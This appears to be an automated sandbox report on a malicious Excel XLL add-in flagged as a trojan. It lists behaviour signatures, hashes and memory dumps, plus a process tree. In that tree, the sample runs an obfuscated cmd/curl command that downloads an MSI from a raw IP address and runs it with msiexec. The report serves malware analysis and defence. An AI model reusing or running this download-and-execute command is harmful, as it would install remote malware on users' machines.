Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/09/2023, 03:37

General

  • Target
    SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll
  • Size 12KB
  • Sample230926-d6f99afd92
  • SHA256 e71bbdd4588708a77274afa63e94b523e4cd579cefdbfa32171d5a10c5f3bc0e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • xlm4.0

Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1788
    • \??\c:\windows\system32\cmd.exe
      c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:444
      • C:\Windows\system32\curl.exe
        curl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB
        3⤵
          PID:1956
        • C:\Windows\system32\timeout.exe
          timeout 10
          3⤵
          • Delays execution with timeout.exe
          PID:3900
        • C:\Windows\System32\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2168

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll

          • Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll
          • Size 12KB
          • SHA256 e71bbdd4588708a77274afa63e94b523e4cd579cefdbfa32171d5a10c5f3bc0e
          • MD5 SHA1 SHA512 SSDEEP

          SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll

          • Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.26199.24327.xll
          • Size 12KB
          • SHA256 e71bbdd4588708a77274afa63e94b523e4cd579cefdbfa32171d5a10c5f3bc0e
          • MD5 SHA1 SHA512 SSDEEP

          memory/1788-14-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-43-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-3-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-5-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-6-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-8-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-9-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-7-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-10-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-11-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-12-0x00007FF985300000-0x00007FF985310000-memory.dmp

          memory/1788-16-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-4-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-0-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-13-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-17-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-2-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-1-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-21-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-22-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-39-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-40-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-41-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-42-0x00007FF987BB0000-0x00007FF987BC0000-memory.dmp

          memory/1788-15-0x00007FF985300000-0x00007FF985310000-memory.dmp

          memory/1788-45-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp

          memory/1788-44-0x00007FF9C7B30000-0x00007FF9C7D25000-memory.dmp